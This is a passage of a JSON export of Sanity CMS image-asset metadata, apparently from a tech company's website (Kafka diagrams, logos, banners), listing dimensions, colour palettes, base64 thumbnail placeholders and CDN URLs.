nt":{"_type":"sanity.imagePaletteSwatch","background":"#531206","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#531206","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7aa96","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb464","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a6765a","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3404","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Control multicloud platform.png","path":"images/sczeoy4w/production/e1223df00d4e5c2e8e3517d4de782c79c7e09177-2064x1506.png","sha1hash":"e1223df00d4e5c2e8e3517d4de782c79c7e09177","size":46964,"uploadId":"g0CqjfjVfnW6fPf4MTPdruTsUbDqDqwt","url":"https://cdn.sanity.io/images/sczeoy4w/production/e1223df00d4e5c2e8e3517d4de782c79c7e09177-2064x1506.png"} {"_createdAt":"2023-03-30T17:02:24Z","_id":"image-e12c53543921531c47312252338047cf0bfa4b18-1029x806-png","_rev":"X76Ye1KO1uMYkz1EfOlarw","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T17:02:24Z","assetId":"e12c53543921531c47312252338047cf0bfa4b18","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2766749379652604,"height":806,"width":1029},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAABaklEQVQokY1Ty44UMQzM//8SB84ICXFE3LhwYLfzdPyMsygdmG1GC0PJail2V5xUOaF3TCkdR4wxAcAY4+WC+RvX5MuZd/cA0I8jHkfMuQB0VR0XMAsiiajZNT32KiBSSiXnCtARiYh3bAD0UhpAv+WJmJCZWEUDEdcKvaOIqpqZqa7YUFVmOUurqjtYFclYArHUs6uZuft8DJ82nGWqBhFtDVrrIjLG+A+uT9FJvMiIXFtrDZjZzO7+XNqceN3XfZpN1WkjxFhiWjrfOt/8cHcR2cqp6v2lfIaUa861d2SW3flCnluzPzpfsKwCWGqffsrd9n+T0E+E08wFRBReJ984q28SL2QiLqXmXEqurcGeE17m6hj+gIzEMeYjpvU9MgDumXhgu/sSrCM9PcXn51QqlNKI5Ua5ewyvT0LUc/MCwWwgrondI+nub3JuTBtDfkT+9EU+fw2Xwqr9g/nLeVX89r2/+0DvP/4E3A2qQ7uSyhgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1c1c30","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b9244b","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e31b50","foreground":"#fff","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcb4b4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec9db2","foreground":"#000","population":0.11,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c6c84","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e31b50","foreground":"#fff","population":0.25,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-migrate-replication-flow-details.png","path":"images/sczeoy4w/production/e12c53543921531c47312252338047cf0bfa4b18-1029x806.png","sha1hash":"e12c53543921531c47312252338047cf0bfa4b18","size":21586,"uploadId":"s04cVJFlXmIpsb2HCEfVN3Ss06gD4259","url":"https://cdn.sanity.io/images/sczeoy4w/production/e12c53543921531c47312252338047cf0bfa4b18-1029x806.png"} {"_createdAt":"2022-06-16T22:53:48Z","_id":"image-e1387946c289643ec41f668f4f5679c68e7222d1-132x30-svg","_rev":"qkpX9b3U0TpOGFQp8fNvSf","_type":"sanity.imageAsset","_updatedAt":"2022-06-16T22:53:48Z","assetId":"e1387946c289643ec41f668f4f5679c68e7222d1","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DZCr=#~C?ayDPAOHN#N}OGSi","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.4,"height":30,"width":132},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAABJ0lEQVQYlU2KTyiDcRyH303YdlFO3GU4kDTC+3t+r/eVUkNof8hO7DI5ODg4mds4y5/GiQOpNSk2WlE7LAeH5cIoJxflJLU4aL0/2reenu/n00cLXTxHFk8fDjeT+aPzxMlEIbbUaBq6B8NymVI6AUcVtQqHEEJTnROoAeoqaMHLUj6aLr7uJFMvxfjadmE+KIcN2SOQfRLagVagRblT0QZ4gQ7sTSV3AT4tms18rqePy7nd1a/3eDh7t+APWdIYExCRMA0EgUlgHAioPAtEgDlgCvCrTVjbyC1fX53NPL4dyKdyQt+6j43oljS6BegS+gED2z5gEBjAPgswVe5V+LTbG2/gI9O0951qTv7se0dLK2aDKXENGcItwQW4sV1f9f/1HuX/zS9u7HymKAlekAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#443424","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#246004","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e79c0a","foreground":"#000","population":0.58,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bc8eb4","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#57bcf4","foreground":"#000","population":0.38,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#73a94c","foreground":"#fff","population":0.48,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e79c0a","foreground":"#000","population":0.58,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"brandwatch.svg","path":"images/sczeoy4w/production/e1387946c289643ec41f668f4f5679c68e7222d1-132x30.svg","sha1hash":"e1387946c289643ec41f668f4f5679c68e7222d1","size":6931,"uploadId":"X8ZbcSBUBUnPivKqpw94LzdtsVKC90Tw","url":"https://cdn.sanity.io/images/sczeoy4w/production/e1387946c289643ec41f668f4f5679c68e7222d1-132x30.svg"} {"_createdAt":"2023-10-03T14:35:27Z","_id":"image-e16b63babe4f9d5603dd67c2f3881199bb45aa16-1200x630-png","_rev":"rpwBSMa1i11HwZnbWvC6Mx","_type":"sanity.imageAsset","_updatedAt":"2023-10-03T14:35:27Z","assetId":"e16b63babe4f9d5603dd67c2f3881199bb45aa16","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBBMKC0v#+TO:|kOOw}O0.xu-pRNE,$g$x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAA7EAAAOxAGVKw4bAAADAklEQVQokSXRW0+bBQDG8fcrqGP0QA9721LaDUrpGUrPpRVs2CgyKO2w9jh6WKFFJ21lmjJhm+gy3dSFGzXTkZCB6DZjohdGjYkX82LeGDUx8dqP8DfUq+fuyZPfI5yQzyNRLSITU/Rp0yh0WeTaAlKxiFQsI9PWkOsaKPSvojS0EAevYnR8hNl3gHvigOLcdT6rZXi6Oc2/N8MIvaoEhuEC1rEaNvcqZledQVudftMKusHjvIze3MRg2cDk3GRkfAeLdxez7wHO4AFLZ3f4sFDgh1acv7aiCDIxid1dIxJrE5pq4wk38U5s4Am/gWeigz+6hTd6DW/0BpGz7zE1e5dA7BOsgX0svgfEIrfYSFziXjnF4WoCQaJexGQvMepv4PA0sI+v4fI1GfW/zljwTdyhTezeDiNjHWyebVyBmziDd7EFPsfq2yPoeZfq8xU2ZzPUpy8hHPsNWZdxeFa7hS7/ZUb9TazudYadTUyONv2m9a5hn76JONjBNPo+7uh9wpP3SYeusB2Msx2cYXm8gHBSmcBoLmJz/29oHWtgsje6hmpDDdVAvXuKRFxDonmte4ojsEs0fsT8wiFXZ17hKOpkL+hkyzuN0KNYQD+Uw+ysMOyoojeVkWsK9Cjz9CiX6VVXUepq9BtXMJxZY8j2Fv6pe8QvfMtS5jta52/w6eQLfBwO0/YtITwrm0OpvYD2dAbN6TwqfR6JOkuPMtctlIsV7MPLJEJZilNZkrE2s/N7pAo/8XLpFxYXvuClyDukQ9eI+T9AeObkDMq+WTTaJOqBDIr+LKcGCqj1x+tKKDRlYu4sb6fOs189x261Qr20R3HlVy7Wn3Iu+T2u8EPsgYdYAo8QTvTOoFHEMehT6M7kUetzaI15tMaLSMUSCm2FaU+O3XycJ1ei/NjJcb25T731O6utP5lL/4xj4mvM/seYfV8hPCd9EUnfHDJVApm4hPRUGpmY6TrKNGUUuhp+Z4nb2Xn+2Irw206OO50jWp2/We/8Q7L4BPfkN1gCXzLiO+Q/lRO2MeYwv1AAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4378","foreground":"#fff","population":1.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":5.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":5.44,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4a9d3","foreground":"#000","population":1.48,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa9e42","foreground":"#000","population":0.34,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4b5cab","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e14c11","foreground":"#fff","population":1.2,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"AWS REINVENT BANNER (2).png","path":"images/sczeoy4w/production/e16b63babe4f9d5603dd67c2f3881199bb45aa16-1200x630.png","sha1hash":"e16b63babe4f9d5603dd67c2f3881199bb45aa16","size":257789,"uploadId":"Wj7f1RvkFmXEOsdsI6UQz1Y51UIiWct8","url":"https://cdn.sanity.io/images/sczeoy4w/production/e16b63babe4f9d5603dd67c2f3881199bb45aa16-1200x630.png"} {"_createdAt":"2023-03-14T17:26:30Z","_id":"image-e17af7a2832ee4b93fbfa0cf05c0e8cacc8b4e80-1882x784-png","_rev":"gcD1R1ikevSB5oEjnPhyal","_type":"sanity.imageAsset","_updatedAt":"2023-03-14T17:26:49Z","altText":null,"assetId":"e17af7a2832ee4b93fbfa0cf05c0e8cacc8b4e80","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4005102040816326,"height":784,"width":1882},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA9ElEQVQYlVWR2Y4CIRBF+///0TdjpBFZaoUCnPSikz7hjTp1uWFpX1QViVTrGGPO2VqLMTrn7vf77XZzzrXWPlcWAEgp5Zxjyj5EJP7JpZQQwrquj8cjxmhmn8+8yESUTyAkAJLLWxBLKQDAIiyiVfvo/3Lv3cxaa6wVSJEFAEopIlJrZWYAZGYkenr/fDkRnvPMX+ZO7x0JUylIBDuq2lqrX4jZh+DD6yIzMzEjwit459dcULWa2dH8R+/92GJm1k+WlFLYecd3LoWl9b5N/4rNOccYx/QY02zbovvZkhGRiGqt2+2Wd/mPMcZRXkR3f2zhO3/vOdBnBs92LwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#515151","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a325a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bbbdbe","foreground":"#000","population":2.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbbdbe","foreground":"#000","population":2.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4acd4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8494","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5161ad","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"kafka-ordering-two-producer-latency.png","path":"images/sczeoy4w/production/e17af7a2832ee4b93fbfa0cf05c0e8cacc8b4e80-1882x784.png","sha1hash":"e17af7a2832ee4b93fbfa0cf05c0e8cacc8b4e80","size":79876,"title":null,"uploadId":"24d52X2flrQYxqhuQSkFPwW8csjV51IM","url":"https://cdn.sanity.io/images/sczeoy4w/production/e17af7a2832ee4b93fbfa0cf05c0e8cacc8b4e80-1882x784.png"} {"_createdAt":"2024-06-11T20:19:55Z","_id":"image-e1856d3cd71cfe90c88c28138e50a202eb94d9a0-4032x3024-jpg","_rev":"06CnkCNLb8AnjQwiBnesGc","_type":"sanity.imageAsset","_updatedAt":"2024-06-11T20:19:55Z","assetId":"e1856d3cd71cfe90c88c28138e50a202eb94d9a0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VGJ@?$~q00Mw9a^hM{W?-;IV00xY~qtR%L?b?badDjt7","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":3024,"width":4032},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAPABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgAEBf/EACUQAAEDAwMDBQAAAAAAAAAAAAMBAgQABQYREjEHExUhUVJxgf/EABUBAQEAAAAAAAAAAAAAAAAAAAME/8QAGhEAAwADAQAAAAAAAAAAAAAAAAECESFBYf/aAAwDAQACEQMRAD8AT4Oa55TDMWKrBDG/Y7XmkkjFIotnl7kneKi9tnyVE4SgXT3OoGPkulqbCM8wi6u2qmnGnK1yOqnVYU10EdsAaNLil3K9+i/lRKJax0pTp14ELgEnkZaIZ6taZzU+kWqs7ZhpTiSG7UQrlf6p71UexD//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5b4631","foreground":"#fff","population":8.94,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a1a09","foreground":"#fff","population":0.69,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9c876a","foreground":"#fff","population":9.78,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cdbc9a","foreground":"#000","population":2.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1c490","foreground":"#000","population":1.5,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c876a","foreground":"#fff","population":9.78,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ccaf81","foreground":"#000","population":2.96,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"IMG_8835.jpeg","path":"images/sczeoy4w/production/e1856d3cd71cfe90c88c28138e50a202eb94d9a0-4032x3024.jpg","sha1hash":"e1856d3cd71cfe90c88c28138e50a202eb94d9a0","size":2197293,"uploadId":"u256WGFvhLwIrYZJMPyAh6QelHfN6hzA","url":"https://cdn.sanity.io/images/sczeoy4w/production/e1856d3cd71cfe90c88c28138e50a202eb94d9a0-4032x3024.jpg"} {"_createdAt":"2023-03-02T12:39:33Z","_id":"image-e1883bc013d3ad95e253444981584da789a662d6-794x293-png","_rev":"zGsPSGo9JGPfNa4sHs8B6s","_type":"sanity.imageAsset","_updatedAt":"2023-03-02T12:39:33Z","assetId":"e1883bc013d3ad95e253444981584da789a662d6","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7098976109215016,"height":293,"width":794},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAvklEQVQYlX3PwW7CMAyA4bz/S/AKu3HkstNeYEekiTalbWga4hrbsTsVCSTWjv9qfYntQghN01RVfTrVde29b9qlrm3bYYjMPK8yM1VTVZfSte9D1/UhXIYhjmPKOU8TIiIRqeoaz4tfnnAAU4xjjCPAREQioqr2aH6bywAPDMz8ZJv4ZWTmEDGl631bIPqLN1I1KcZipTgtKiLMIlL+u/D5bSmFAfnH8/dRqrN7f9ULVr3dCHyf959594GHr18L8Zis2naFcgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d4d4d","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc0424","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e01b48","foreground":"#fff","population":0.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbbbc","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6494","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8d8384","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e01b48","foreground":"#fff","population":0.74,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"influx-integration.png","path":"images/sczeoy4w/production/e1883bc013d3ad95e253444981584da789a662d6-794x293.png","sha1hash":"e1883bc013d3ad95e253444981584da789a662d6","size":13538,"uploadId":"ffGz60l08pL7NsbY67UXEY5LyNAnx4Ny","url":"https://cdn.sanity.io/images/sczeoy4w/production/e1883bc013d3ad95e253444981584da789a662d6-794x293.png"} {"_createdAt":"2023-09-07T06:19:33Z","_id":"image-e18f6f9bd86b82a4412c263bcffc766bdf292da0-1580x900-webp","_rev":"Dk4vsGyYpr9Xi9g7qyFs9c","_type":"sanity.imageAsset","_updatedAt":"2023-09-07T06:19:33Z","assetId":"e18f6f9bd86b82a4412c263bcffc766bdf292da0","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJG8lq-;a#f9Ip?CM{NIWYNu~C$+Rkt7oy","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7555555555555555,"height":900,"width":1580},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQGBQf/xAAjEAACAQQCAQUBAAAAAAAAAAABAwIABAURBhIxISJBcbHR/8QAFgEBAQEAAAAAAAAAAAAAAAAABAAC/8QAHBEAAgICAwAAAAAAAAAAAAAAAAECEQMTIlFh/9oADAMBAAIRAxEAPwBW0z8YOam5atcox7RlIGXb7pC35Y+/kxcWoX1+THW66jfccxDlmTMegyI8ga/KiMzx7FJuAFWS4DW9An+0HSpcmJtxaXXpL5DIyfcdjkz4A9o9KKzXWiIumAsAAmisrHRWf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#52572a","foreground":"#fff","population":1.79,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#414608","foreground":"#fff","population":1.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c8bcaf","foreground":"#000","population":6.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8bcaf","foreground":"#000","population":6.82,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e096a6","foreground":"#000","population":0.18,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a17a5a","foreground":"#fff","population":6.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8374b","foreground":"#fff","population":0.55,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"blume-2000-zeitung-motiv_01_v02-aussenansicht_bearbeitet_1580x900.webp","path":"images/sczeoy4w/production/e18f6f9bd86b82a4412c263bcffc766bdf292da0-1580x900.webp","sha1hash":"e18f6f9bd86b82a4412c263bcffc766bdf292da0","size":325538,"uploadId":"4zzsg5p8PlP3PywSzbqCZbmUp1y1t2bV","url":"https://cdn.sanity.io/images/sczeoy4w/production/e18f6f9bd86b82a4412c263bcffc766bdf292da0-1580x900.webp"} {"_createdAt":"2023-01-05T11:53:09Z","_id":"image-e1bf6421121f76b4a112ba3989d7bf4150f47785-1200x630-jpg","_rev":"kOCMbKnaOAjdRaibv4Qswm","_type":"sanity.imageAsset","_updatedAt":"2023-01-05T11:53:09Z","assetId":"e1bf6421121f76b4a112ba3989d7bf4150f47785","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MWP6:Y_NogIU^+S$tRn3S$t8_3M{WYtRH?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAYHCP/EACMQAAEDAwMFAQAAAAAAAAAAAAIBAwUABBEGEhQHEyExQWH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAAH/xAAgEQACAgEDBQAAAAAAAAAAAAABAgADEQQFEhMhMYGh/9oADAMBAAIRAxEAPwDQN5IyDbxg3ZqQIvhce0qd9ZtTz0NFxRRHdZubgyQxaHK4RKqIZ5Z+V+/aX4MBv37/AJoi/wBt9UDemdqflTX9N1XHds/BFrp5KznwuM+4t6HjH9U6Vj5SburjnuBtcwuPSrRVDYZbYbRtkBbBPQimEorWqRiSRFTcNRWoRHIAn//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#373e52","foreground":"#fff","population":0.72,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131948","foreground":"#fff","population":11.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131948","foreground":"#fff","population":11.34,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d5c0a7","foreground":"#000","population":0.35,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc46c","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac5c94","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f67913","foreground":"#fff","population":2.26,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Landing_pages_meta_Transformation-ebook-preview-1200x630.jpg","path":"images/sczeoy4w/production/e1bf6421121f76b4a112ba3989d7bf4150f47785-1200x630.jpg","sha1hash":"e1bf6421121f76b4a112ba3989d7bf4150f47785","size":208622,"uploadId":"XgmzPpzupyxLYNvFURzeeUBfobqwoZNi","url":"https://cdn.sanity.io/images/sczeoy4w/production/e1bf6421121f76b4a112ba3989d7bf4150f47785-1200x630.jpg"} {"_createdAt":"2022-11-22T10:36:28Z","_id":"image-e1cf48d80cb11b0a71138cc56f748ebd50a9cb38-1600x1096-webp","_rev":"bUMlF7B1Xxw34pzcKwpFNO","_type":"sanity.imageAsset","_updatedAt":"2022-11-22T10:36:43Z","altText":null,"assetId":"e1cf48d80cb11b0a71138cc56f748ebd50a9cb38","description":null,"extension":"webp","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4598540145985401,"height":1096,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAOABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAMECP/EACEQAAECBQUBAAAAAAAAAAAAAAEAAgMSITEyBBETIoFx/8QAFgEBAQEAAAAAAAAAAAAAAAAAAQIE/8QAFhEBAQEAAAAAAAAAAAAAAAAAAAEx/9oADAMBAAIRAxEAPwDpHUulNyosiOLtiR4VSfnZMKVsVOG0ivUfFomIrczEX9RIeARBf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#302c54","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1e1f44","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eed99e","foreground":"#000","population":0.9,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acbccc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eed99e","foreground":"#000","population":0.9,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ab985b","foreground":"#000","population":0.14,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e3831b","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/webp","opt":{"media":{"tags":null}},"originalFilename":"kafka-simply-explained-topics-webp.webp","path":"images/sczeoy4w/production/e1cf48d80cb11b0a71138cc56f748ebd50a9cb38-1600x1096.webp","sha1hash":"e1cf48d80cb11b0a71138cc56f748ebd50a9cb38","size":61852,"title":null,"uploadId":"CmjIIU9gQ8qShDOakRksXfdyWVlNGATd","url":"https://cdn.sanity.io/images/sczeoy4w/production/e1cf48d80cb11b0a71138cc56f748ebd50a9cb38-1600x1096.webp"} {"_createdAt":"2022-06-14T14:41:14Z","_id":"image-e1e475a1fe5f7311a68da7df2b0865e2d88cb60b-947x947-jpg","_rev":"qkpX9b3U0TpOGFQp8XG4gk","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:14Z","assetId":"e1e475a1fe5f7311a68da7df2b0865e2d88cb60b","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJIqP~xu.mxtM|yWRjt7RkM|M{soVYkC%1?vW:X9R*M{9aena0a#WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":947,"width":947},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAQADAQAAAAAAAAAAAAAAAAYBAwUH/8QAJBAAAQQBAgYDAAAAAAAAAAAAAgABAwQFETEGEiEiQVEjUmH/xAAXAQEBAQEAAAAAAAAAAAAAAAAEAwAG/8QAGhEBAQADAQEAAAAAAAAAAAAAAQACAyESMf/aAAwDAQACEQMRAD8ApstYeljyKuwCX2fwpzAZW0VgyK20za9Y3Lx+KmzmHCXFTBNIOunazlpq6juGcRBWvFNZB4oYmfmkLozekfPjP0a8c9apXZGOu7ItcFBpo2OKxEYPsTHuit4h9LxjivP5G9nOWawTBGfaI9GZZzWfyEuOeE5vjk0YmZt0RH+t0G4MUC5FW/aiiYY7Eoj6YnREWrX/2Q==","palette":{